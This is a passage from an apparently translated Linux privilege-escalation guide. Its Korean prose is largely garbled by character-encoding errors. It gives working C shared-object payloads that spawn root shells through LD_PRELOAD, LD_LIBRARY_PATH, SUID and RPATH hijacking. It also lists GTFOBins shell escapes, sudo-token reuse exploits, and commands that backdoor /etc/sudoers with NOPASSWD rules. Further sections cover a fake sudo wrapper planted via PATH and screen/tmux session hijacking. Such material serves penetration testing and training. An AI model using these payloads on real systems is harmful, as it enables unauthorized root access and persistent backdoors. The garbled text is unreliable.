system("/bin/bash");
}
๊ทธ๋ฐ ๋ค์ ๋ค์์ ์ฌ์ฉํ์ฌ compile it:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
๋ง์ง๋ง์ผ๋ก, escalate privileges๋ฅผ ์คํํฉ๋๋ค
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
์ ์ฌํ privesc๋ ๊ณต๊ฒฉ์๊ฐ LD_LIBRARY_PATH env variable์ ์ ์ดํ ์ ์๋ค๋ฉด ์ ์ฉ๋ ์ ์์ต๋๋ค. ์ด๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๊ฒ์๋ ๊ฒฝ๋ก๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary โ .so injection
๋น์ ์์ ์ผ๋ก ๋ณด์ด๋ SUID permissions๋ฅผ ๊ฐ์ง binary๋ฅผ ๋ฐ๊ฒฌํ๋ฉด, ํด๋น binary๊ฐ .so ํ์ผ์ ์ ๋๋ก ๋ก๋ํ๋์ง ํ์ธํ๋ ๊ฒ์ด ์ข์ต๋๋ค. ๋ค์ ๋ช ๋ น์ด๋ฅผ ์คํํ์ฌ ํ์ธํ ์ ์์ต๋๋ค:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
์๋ฅผ ๋ค์ด โopen(โ/path/to/.config/libcalc.soโ, O_RDONLY) = -1 ENOENT (No such file or directory)โ ์ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด ์ ์ฌ์ ์ธ exploitation ๊ฐ๋ฅ์ฑ์ด ์์์ ๋ํ๋ ๋๋ค.
To exploit this, ๋ค์๊ณผ ๊ฐ์ด C ํ์ผ์ ์์ฑํฉ๋๋ค. ์: โ/path/to/.config/libcalc.cโ ๊ทธ๋ฆฌ๊ณ ๋ค์ ์ฝ๋๋ฅผ ํฌํจํฉ๋๋ค:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
์ด ์ฝ๋๋ ์ปดํ์ผ๋์ด ์คํ๋๋ฉด ํ์ผ ๊ถํ์ ์กฐ์ํ๊ณ ๊ถํ์ด ์์น๋ shell์ ์คํํ์ฌ ๊ถํ ์์น์ ์๋ํฉ๋๋ค.
์์ C ํ์ผ์ ๋ค์๊ณผ ๊ฐ์ด ๊ณต์ ๊ฐ์ฒด(.so) ํ์ผ๋ก ์ปดํ์ผํ์ธ์:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
๋ง์ง๋ง์ผ๋ก, ์ํฅ์ ๋ฐ๋ SUID ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ฉด exploit์ด ํธ๋ฆฌ๊ฑฐ๋์ด ์์คํ ํ์ทจ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
์ด์ ์ฐ๋ฆฌ๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ก๋ํ๋ SUID ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฐพ์์ผ๋ฏ๋ก, ํด๋น ํด๋์ ํ์ํ ์ด๋ฆ์ผ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์์ฑํด ๋ณด๊ฒ ์ต๋๋ค:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
์ฆ, ์์ฑํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์๋ a_function_name์ด๋ผ๋ ์ด๋ฆ์ ํจ์๊ฐ ์์ด์ผ ํฉ๋๋ค.
GTFOBins
GTFOBins ์ ๊ณต๊ฒฉ์๊ฐ ๋ก์ปฌ ๋ณด์ ์ ํ์ ์ฐํํ๊ธฐ ์ํด ์ ์ฉํ ์ ์๋ Unix ๋ฐ์ด๋๋ฆฌ๋ค์ ์ ๋ณ๋ ๋ชฉ๋ก์ ๋๋ค. GTFOArgs ๋ ๋ช ๋ น์ ์ธ์๋ง ์ฃผ์ ํ ์ ์๋ ๊ฒฝ์ฐ์ ํด๋นํ๋ ๋์ผํ ์๋ฃ์ ๋๋ค.
์ด ํ๋ก์ ํธ๋ ์ ํ๋ ์ ธ์ ํ์ถํ๊ฑฐ๋ escalate or maintain elevated privileges ํ๊ณ , ํ์ผ์ ์ ์กํ๊ณ , bind and reverse shells๋ฅผ ์์ฑํ๋ฉฐ, ๊ธฐํ post-exploitation ์์ ์ ์ฉ์ดํ๊ฒ ํ๋ ๋ฐ ์ ์ฉ๋ ์ ์๋ Unix ๋ฐ์ด๋๋ฆฌ์ ์ ๋นํ ๊ธฐ๋ฅ๋ค์ ์์งํฉ๋๋ค.
gdb -nx -ex โ!shโ -ex quit
sudo mysql -e โ! /bin/shโ
strace -o /dev/null /bin/sh
sudo awk โBEGIN {system(โ/bin/shโ)}โ
FallOfSudo
๋ง์ฝ sudo -l์ ์ ๊ทผํ ์ ์๋ค๋ฉด, ๋๊ตฌ FallOfSudo ๋ฅผ ์ฌ์ฉํด ์ด๋ค sudo ๊ท์น์ ์
์ฉํ ๋ฐฉ๋ฒ์ ์ฐพ๋์ง ํ์ธํ ์ ์์ต๋๋ค.
Reusing Sudo Tokens
๋น๋ฐ๋ฒํธ๋ ๋ชจ๋ฅด๋ ์ํ์์ sudo access๊ฐ ์๋ ๊ฒฝ์ฐ, sudo ๋ช ๋ น ์คํ์ ๊ธฐ๋ค๋ ธ๋ค๊ฐ ์ธ์ ํ ํฐ์ ํ์ทจํ์ฌ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค.
Requirements to escalate privileges:
- ์ด๋ฏธ sampleuser ์ฌ์ฉ์๋ก ์ ธ์ ๊ฐ์ง๊ณ ์์ด์ผ ํฉ๋๋ค
- sampleuser ๋
sudo๋ฅผ ์ฌ์ฉํด ๋ฌด์ธ๊ฐ๋ฅผ ์ต๊ทผ 15๋ถ ์ด๋ด์ ์คํํ ์ ์ด ์์ด์ผ ํฉ๋๋ค (๊ธฐ๋ณธ์ ์ผ๋ก sudo ํ ํฐ์ ์ ํจ ๊ธฐ๊ฐ์ 15๋ถ์ด๋ฉฐ ์ด ๊ธฐ๊ฐ ๋์ ๋น๋ฐ๋ฒํธ ์์ดsudo๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค) cat /proc/sys/kernel/yama/ptrace_scope์ ๊ฐ์ด 0์ด์ด์ผ ํฉ๋๋คgdb์ ์ ๊ทผํ ์ ์์ด์ผ ํฉ๋๋ค (์ ๋ก๋ํ ์ ์์ด์ผ ํฉ๋๋ค)
(์ผ์์ ์ผ๋ก ptrace_scope๋ฅผ ํ์ฑํํ๋ ค๋ฉด echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ /etc/sysctl.d/10-ptrace.conf๋ฅผ ์๊ตฌ์ ์ผ๋ก ์์ ํ๊ณ kernel.yama.ptrace_scope = 0์ผ๋ก ์ค์ ํ ์ ์์ต๋๋ค)
If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject
- The first exploit (
exploit.sh) will create the binaryactivate_sudo_tokenin /tmp. You can use it to activate the sudo token in your session (you wonโt get automatically a root shell, dosudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- ๋ ๋ฒ์งธ exploit (
exploit_v2.sh)์ _/tmp_์ root๊ฐ ์์ ํ๊ณ setuid๊ฐ ์ค์ ๋ sh shell์ ๋ง๋ญ๋๋ค
bash exploit_v2.sh
/tmp/sh -p
- ์ธ ๋ฒ์งธ exploit (
exploit_v3.sh)๋ sudoers ํ์ผ์ ์์ฑํ์ฌ sudo tokens์ ์๊ตฌํํ๊ณ ๋ชจ๋ ์ฌ์ฉ์๊ฐ sudo๋ฅผ ์ฌ์ฉํ๋๋ก ํ์ฉํฉ๋๋ค
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
ํด๋น ํด๋๋ ๊ทธ ์์ ์์ฑ๋ ํ์ผ๋ค ์ค ์ด๋ ํ์ผ์ ๋ํด write permissions๊ฐ ์๋ค๋ฉด, ๋ฐ์ด๋๋ฆฌ write_sudo_token์ ์ฌ์ฉํ์ฌ create a sudo token for a user and PIDํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ํ์ผ _/var/run/sudo/ts/sampleuser_๋ฅผ ๋ฎ์ด์ธ ์ ์๊ณ ๊ทธ user๋ก PID 1234์ shell์ ๊ฐ์ง๊ณ ์๋ค๋ฉด, ๋ค์๊ณผ ๊ฐ์ด ํจ์ค์๋๋ฅผ ์ ํ์ ์์ด obtain sudo privilegesํ ์ ์์ต๋๋ค:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
/etc/sudoers ํ์ผ๊ณผ /etc/sudoers.d ๋ด๋ถ์ ํ์ผ๋ค์ ๋๊ฐ sudo๋ฅผ ์ด๋ป๊ฒ ์ฌ์ฉํ ์ ์๋์ง ๊ตฌ์ฑํฉ๋๋ค. ์ด ํ์ผ๋ค์ ๊ธฐ๋ณธ์ ์ผ๋ก user root์ group root๋ง readํ ์ ์์ต๋๋ค.
๋ง์ฝ ์ด ํ์ผ์ readํ ์ ์๋ค๋ฉด ํฅ๋ฏธ๋ก์ด ์ ๋ณด๋ฅผ ์ป์ ์ ์์ต๋๋ค, ๊ทธ๋ฆฌ๊ณ ์ด๋ค ํ์ผ์ writeํ ์ ์๋ค๋ฉด escalate privileges ํ ์ ์์ต๋๋ค.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
์ฐ๊ธฐ ๊ถํ์ด ์์ผ๋ฉด ์ด ๊ถํ์ ์ ์ฉํ ์ ์๋ค.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
์ด๋ฌํ ๊ถํ์ ์ ์ฉํ๋ ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
OpenBSD์ฉ doas์ ๊ฐ์ด sudo binary์ ๋์์ด ๋ช ๊ฐ์ง ์์ผ๋ฏ๋ก /etc/doas.conf์ ์๋ ์ค์ ์ ํ์ธํ๋ ๊ฒ์ ์์ง ๋ง์ธ์.
permit nopass demo as root cmd vim
Sudo Hijacking
๋ง์ฝ user๊ฐ ๋ณดํต machine์ ์ ์ํด sudo๋ฅผ ์ฌ์ฉํ์ฌ ๊ถํ์ ์์น์ํค๊ณ , ๊ทธ user ์ปจํ
์คํธ์์ shell์ ํ๋ํ๋ค๋ฉด, ์๋ก์ด sudo ์คํํ์ผ์ ์์ฑํ์ฌ ๋จผ์ ๋น์ ์ ์ฝ๋๋ฅผ root๋ก ์คํํ๊ณ ๊ทธ ๋ค์ ์ฌ์ฉ์์ ๋ช
๋ น์ ์คํํ๊ฒ ํ ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์, user ์ปจํ
์คํธ์ $PATH๋ฅผ ์์ (์: .bash_profile์ ์ ๊ฒฝ๋ก๋ฅผ ์ถ๊ฐ)ํ๋ฉด ์ฌ์ฉ์๊ฐ sudo๋ฅผ ์คํํ ๋ ๋น์ ์ sudo ์คํํ์ผ์ด ์คํ๋ฉ๋๋ค.
์ฐธ๊ณ ๋ก user๊ฐ ๋ค๋ฅธ shell(์: bash๊ฐ ์๋)์ ์ฌ์ฉํ๋ค๋ฉด ์ ๊ฒฝ๋ก๋ฅผ ์ถ๊ฐํ๊ธฐ ์ํด ๋ค๋ฅธ ํ์ผ๋ค์ ์์ ํด์ผ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด sudo-piggyback๋ ~/.bashrc, ~/.zshrc, ~/.bash_profile์ ์์ ํฉ๋๋ค. ๋ค๋ฅธ ์๋ bashdoor.py์์ ์ฐพ์ ์ ์์ต๋๋ค.
๋๋ ๋ค์๊ณผ ๊ฐ์ด ์คํ:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo โexport PATH=/tmp:$PATHโ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ
ld.so
ํ์ผ /etc/ld.so.conf๋ ๋ก๋๋ ์ค์ ํ์ผ๋ค์ด ์ด๋์ ์๋์ง๋ฅผ ๋ํ๋
๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ด ํ์ผ์๋ ๋ค์ ๊ฒฝ๋ก๊ฐ ํฌํจ๋์ด ์์ต๋๋ค: include /etc/ld.so.conf.d/*.conf
์ฆ /etc/ld.so.conf.d/*.conf์ ์ค์ ํ์ผ๋ค์ด ์ฝํ๋ค๋ ๋ป์
๋๋ค. ์ด ์ค์ ํ์ผ๋ค์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ฒ์ํ ๋ค๋ฅธ ํด๋๋ค์ ๊ฐ๋ฆฌํต๋๋ค. ์๋ฅผ ๋ค์ด /etc/ld.so.conf.d/libc.conf์ ๋ด์ฉ์ด /usr/local/lib๋ผ๋ฉด, ์์คํ
์ /usr/local/lib ๋ด๋ถ์์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ฒ์ํฉ๋๋ค.
๋ง์ฝ ์ฌ์ฉ์๊ฐ ๋ค์ ๊ฒฝ๋ก๋ค ์ค ์ด๋ ํ๋์ ๋ํด ์ฐ๊ธฐ ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด: /etc/ld.so.conf, /etc/ld.so.conf.d/, /etc/ld.so.conf.d/ ๋ด์ ํ์ผ, ๋๋ /etc/ld.so.conf.d/*.conf์ ๋ช
์๋ ํด๋ ์์ ๋๋ ํฐ๋ฆฌ โ ํด๋น ์ฌ์ฉ์๋ ๊ถํ ์์น์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค.
๋ค์ ํ์ด์ง์์ ์ด ์๋ชป๋ ๊ตฌ์ฑ์ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
lib์ /var/tmp/flag15/์ ๋ณต์ฌํ๋ฉด RPATH ๋ณ์์ ์ง์ ๋ ๋๋ก ํ๋ก๊ทธ๋จ์ด ๊ทธ ์์น์ lib์ ์ฌ์ฉํฉ๋๋ค.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
๊ทธ๋ฐ ๋ค์ /var/tmp์ ์
์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์์ฑํ๋ ค๋ฉด gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6๋ฅผ ์คํํฉ๋๋ค.
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capabilities
Linux capabilities๋ ํ๋ก์ธ์ค์ ์ฌ์ฉํ ์ ์๋ ๋ฃจํธ ๊ถํ์ **ํ์ ์งํฉ(subset)**์ ์ ๊ณตํฉ๋๋ค. ์ด๊ฒ์ ๋ฃจํธ ๊ถํ์ ๋ ์๊ณ ๊ตฌ๋ณ ๊ฐ๋ฅํ ๋จ์๋ก ๋ถํ ํ๋ ํจ๊ณผ๊ฐ ์์ต๋๋ค. ์ด๋ฌํ ๊ฐ ๋จ์๋ ๊ฐ๋ณ์ ์ผ๋ก ํ๋ก์ธ์ค์ ๋ถ์ฌ๋ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ ์ฒด ๊ถํ ์งํฉ์ด ์ถ์๋์ด ์
์ฉ ์ํ์ด ์ค์ด๋ญ๋๋ค.
๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด capabilities์ ๋ํด ๋ ๋ฐฐ์ฐ๊ณ ์ด๋ฅผ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ์ตํ์ธ์:
Directory permissions
๋๋ ํฐ๋ฆฌ์์ โexecuteโ ๋นํธ๋ ํด๋น ์ฌ์ฉ์๊ฐ ํด๋๋ก โcdโํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
โreadโ ๋นํธ๋ ์ฌ์ฉ์๊ฐ **ํ์ผ ๋ชฉ๋ก์ ๋ณผ ์ ์์(list)**์ ์๋ฏธํ๊ณ , โwriteโ ๋นํธ๋ ์ฌ์ฉ์๊ฐ ํ์ผ์ ์ญ์ ํ๊ณ ์ ํ์ผ์ ์์ฑํ ์ ์์์ ์๋ฏธํฉ๋๋ค.
ACLs
์ก์ธ์ค ์ ์ด ๋ชฉ๋ก(Access Control Lists, ACLs)์ ์์ ๊ถํ์ ๋ ๋ฒ์งธ ๊ณ์ธต์ ๋ํ๋ด๋ฉฐ, ์ ํต์ ์ธ ugo/rwx ๊ถํ์ ์ฌ์ ์(overriding) ํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ถํ์ ์์ ์๋ ์๋๊ณ ๊ทธ๋ฃน์๋ ์ํ์ง ์๋ ํน์ ์ฌ์ฉ์์๊ฒ ์ ๊ทผ ๊ถํ์ ํ์ฉํ๊ฑฐ๋ ๊ฑฐ๋ถํจ์ผ๋ก์จ ํ์ผ ๋๋ ๋๋ ํฐ๋ฆฌ ์ ๊ทผ์ ๋ํ ์ ์ด๋ฅผ ํฅ์์ํต๋๋ค. ์ด๋ฌํ ์์ค์ ์ธ๋ถ์ฑ(granularity)์ ๋ณด๋ค ์ ๋ฐํ ์ ๊ทผ ๊ด๋ฆฌ๋ฅผ ๋ณด์ฅํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ here์์ ํ์ธํ์ธ์.
Give user โkaliโ์๊ฒ ํ์ผ์ ๋ํ ์ฝ๊ธฐ ๋ฐ ์ฐ๊ธฐ ๊ถํ์ ๋ถ์ฌ:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
๊ฐ์ ธ์ค๊ธฐ ์์คํ ์์ ํน์ ACLs๋ฅผ ๊ฐ์ง ํ์ผ๋ค:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
sudoers drop-ins์ ์จ๊ฒจ์ง ACL backdoor
์ผ๋ฐ์ ์ธ ์๋ชป๋ ์ค์ ์ ๊ถํ์ด 440์ธ /etc/sudoers.d/์ root-owned ํ์ผ์ด ACL์ ํตํด low-priv user์๊ฒ ์ฌ์ ํ ์ฐ๊ธฐ ๊ถํ์ ๋ถ์ฌํ๋ ๊ฒฝ์ฐ์
๋๋ค.
ls -l /etc/sudoers.d/*
getfacl /etc/sudoers.d/<file>
์๋ฅผ ๋ค์ด user:alice:rw- ๊ฐ์ ํญ๋ชฉ์ด ๋ณด์ด๋ฉด, ํด๋น ์ฌ์ฉ์๋ ์ ํ์ ์ธ ๋ชจ๋ ๋นํธ์๋ ๋ถ๊ตฌํ๊ณ sudo ๊ท์น์ ์ถ๊ฐํ ์ ์์ต๋๋ค:
echo 'alice ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/<file>
visudo -cf /etc/sudoers.d/<file>
sudo -l
์ด๋ ls -l๋ง์ผ๋ก ๋ฆฌ๋ทฐํ ๋ ์ฝ๊ฒ ๋์น๊ธฐ ๋๋ฌธ์ ์ํฅ์ด ํฐ ACL persistence/privesc ๊ฒฝ๋ก์
๋๋ค.
์ด๋ฆฐ shell ์ธ์
old versions์์๋ ๋ค๋ฅธ ์ฌ์ฉ์(root)์ ์ผ๋ถ shell ์ธ์
์ hijackํ ์ ์์ต๋๋ค.\
newest versions์์๋ your own user์ screen ์ธ์
์๋ง connectํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ธ์
๋ด๋ถ์์ interesting information inside the session์ ์ฐพ์ ์ ์์ต๋๋ค.
screen ์ธ์ hijacking
screen ์ธ์ ๋ชฉ๋ก ํ์ธ
screen -ls
screen -ls <username>/ # Show another user' screen sessions
# Socket locations (some systems expose one as symlink of the other)
ls /run/screen/ /var/run/screen/ 2>/dev/null
.png)
์ธ์ ์ ์ฐ๊ฒฐ
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
์ด ๋ฌธ์ ๋ old tmux versions์์ ๋ฐ์ํ์ต๋๋ค.
๋นํน๊ถ ์ฌ์ฉ์๋ก์ root๊ฐ ๋ง๋ tmux (v2.1) session์ hijackํ ์ ์์์ต๋๋ค.
tmux sessions ๋์ด
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
์ธ์ ์ ์ฐ๊ฒฐํ๊ธฐ
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Check Valentine box from HTB for an example.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006๋
9์๋ถํฐ 2008๋
5์ 13์ผ ์ฌ์ด์ Debian ๊ณ์ด ์์คํ
(Ubuntu, Kubuntu ๋ฑ)์์ ์์ฑ๋ ๋ชจ๋ SSL ๋ฐ SSH ํค๋ ์ด ๋ฒ๊ทธ์ ์ํฅ์ ๋ฐ์ ์ ์์ต๋๋ค.
์ด ๋ฒ๊ทธ๋ ํด๋น OS์์ ์ ssh ํค๋ฅผ ๋ง๋ค ๋ ๋ฐ์ํ๋ฉฐ, ๊ฐ๋ฅํ ๋ณํ์ด ๋จ 32,768๊ฐ๋ฟ์ด์์ต๋๋ค. ์ด๋ ๋ชจ๋ ๊ฐ๋ฅ์ฑ์ ๊ณ์ฐํ ์ ์์์ ์๋ฏธํ๋ฉฐ ssh public key๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฉด ํด๋นํ๋ private key๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค. ๊ณ์ฐ๋ ๊ฐ๋ฅ์ฑ์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
- PasswordAuthentication: ์ํธ ์ธ์ฆ์ด ํ์ฉ๋๋์ง ์ฌ๋ถ๋ฅผ ์ง์ ํฉ๋๋ค. ๊ธฐ๋ณธ๊ฐ์
no์ ๋๋ค. - PubkeyAuthentication: public key ์ธ์ฆ์ด ํ์ฉ๋๋์ง ์ฌ๋ถ๋ฅผ ์ง์ ํฉ๋๋ค. ๊ธฐ๋ณธ๊ฐ์
yes์ ๋๋ค. - PermitEmptyPasswords: password ์ธ์ฆ์ด ํ์ฉ๋ ๋, ์๋ฒ๊ฐ ๋น password ๋ฌธ์์ด์ ๊ฐ์ง ๊ณ์ ์ ๋ก๊ทธ์ธ์ ํ์ฉํ๋์ง ์ฌ๋ถ๋ฅผ ์ง์ ํฉ๋๋ค. ๊ธฐ๋ณธ๊ฐ์
no์ ๋๋ค.
Login control files
์ด ํ์ผ๋ค์ ๋๊ฐ ์ด๋ป๊ฒ ๋ก๊ทธ์ธํ ์ ์๋์ง์ ์ํฅ์ ์ค๋๋ค:
/etc/nologin: ์กด์ฌํ๋ฉด root๊ฐ ์๋ ๋ก๊ทธ์ธ์ ์ฐจ๋จ๋๋ฉฐ ํ์ผ์ ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํฉ๋๋ค./etc/securetty: root๊ฐ ๋ก๊ทธ์ธํ ์ ์๋ ์์น๋ฅผ ์ ํํฉ๋๋ค (TTY ํ์ฉ ๋ชฉ๋ก)./etc/motd: ๋ก๊ทธ์ธ ํ ๋ฐฐ๋(ํ๊ฒฝ ๋๋ ์ ์ง๋ณด์ ์ธ๋ถ์ฌํญ์ leakํ ์ ์์).
PermitRootLogin
root๊ฐ ssh๋ฅผ ์ฌ์ฉํด ๋ก๊ทธ์ธํ ์ ์๋์ง ์ฌ๋ถ๋ฅผ ์ง์ ํ๋ฉฐ, ๊ธฐ๋ณธ๊ฐ์ no์
๋๋ค. ๊ฐ๋ฅํ ๊ฐ:
yes: root๋ password์ private key๋ก ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.without-passwordorprohibit-password: root๋ private key๋ก๋ง ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค.forced-commands-only: root๋ private key๋ก๋ง ๋ก๊ทธ์ธํ ์ ์์ผ๋ฉฐ, ๋ช ๋ น์ด ์ต์ ์ด ์ง์ ๋ ๊ฒฝ์ฐ์๋ง ํ์ฉ๋ฉ๋๋ค.no: ํ์ฉํ์ง ์์
AuthorizedKeysFile
user authentication์ ์ฌ์ฉํ ์ ์๋ public keys๋ฅผ ํฌํจํ๋ ํ์ผ์ ์ง์ ํฉ๋๋ค. %h์ ๊ฐ์ ํ ํฐ์ ํฌํจํ ์ ์์ผ๋ฉฐ, ์ด๋ ํ ๋๋ ํฐ๋ฆฌ๋ก ๋์ฒด๋ฉ๋๋ค. ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค ( /๋ก ์์) ๋๋ ์ฌ์ฉ์ ํ์์์ ์๋ ๊ฒฝ๋ก. For example:
AuthorizedKeysFile .ssh/authorized_keys access
ํด๋น ์ค์ ์ ์ฌ์ฉ์์ธ โtestusernameโ์ private key๋ก ๋ก๊ทธ์ธํ๋ ค ํ ๋, ssh๊ฐ ๋น์ ํค์ public key๋ฅผ /home/testusername/.ssh/authorized_keys์ /home/testusername/access์ ์๋ ํญ๋ชฉ๋ค๊ณผ ๋น๊ตํ ๊ฒ์์ ๋ํ๋
๋๋ค.
ForwardAgent/AllowAgentForwarding
SSH agent forwarding์ ์๋ฒ์ (without passphrases!) ํค๋ฅผ ๋จ๊ฒจ๋์ง ์๊ณ ๋ use your local SSH keys instead of leaving keys ํ ์ ์๊ฒ ํฉ๋๋ค. ๋ฐ๋ผ์ ssh๋ก to a host jumpํ ๋ค, ๊ทธ๊ณณ์์ ๋ค์ ๋ค๋ฅธ ํธ์คํธ๋ก jump to another ํ์ฌ initial host์ ์์นํ key๋ฅผ usingํ ์ ์์ต๋๋ค.
์ด ์ต์
์ $HOME/.ssh.config์ ๋ค์๊ณผ ๊ฐ์ด ์ค์ ํด์ผ ํฉ๋๋ค:
Host example.com
ForwardAgent yes
์ฃผ์: Host๊ฐ *์ธ ๊ฒฝ์ฐ ์ฌ์ฉ์๊ฐ ๋ค๋ฅธ ๋จธ์ ์ผ๋ก ์ด๋ํ ๋๋ง๋ค ํด๋น ํธ์คํธ๊ฐ ํค์ ์ ๊ทผํ ์ ์์ต๋๋ค(๋ณด์ ๋ฌธ์ ์
๋๋ค).
The file /etc/ssh_config can ์ต์
์ ์ฌ์ ์ํ์ฌ ์ด ๊ตฌ์ฑ์ ํ์ฉํ๊ฑฐ๋ ๊ฑฐ๋ถํ ์ ์์ต๋๋ค.
The file /etc/sshd_config can allow or denied ssh-agent forwarding with the keyword AllowAgentForwarding (๊ธฐ๋ณธ๊ฐ์ ํ์ฉ).
If you find that Forward Agent is configured in an environment read the following page as ์ด๋ฅผ ์ ์ฉํด ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค:
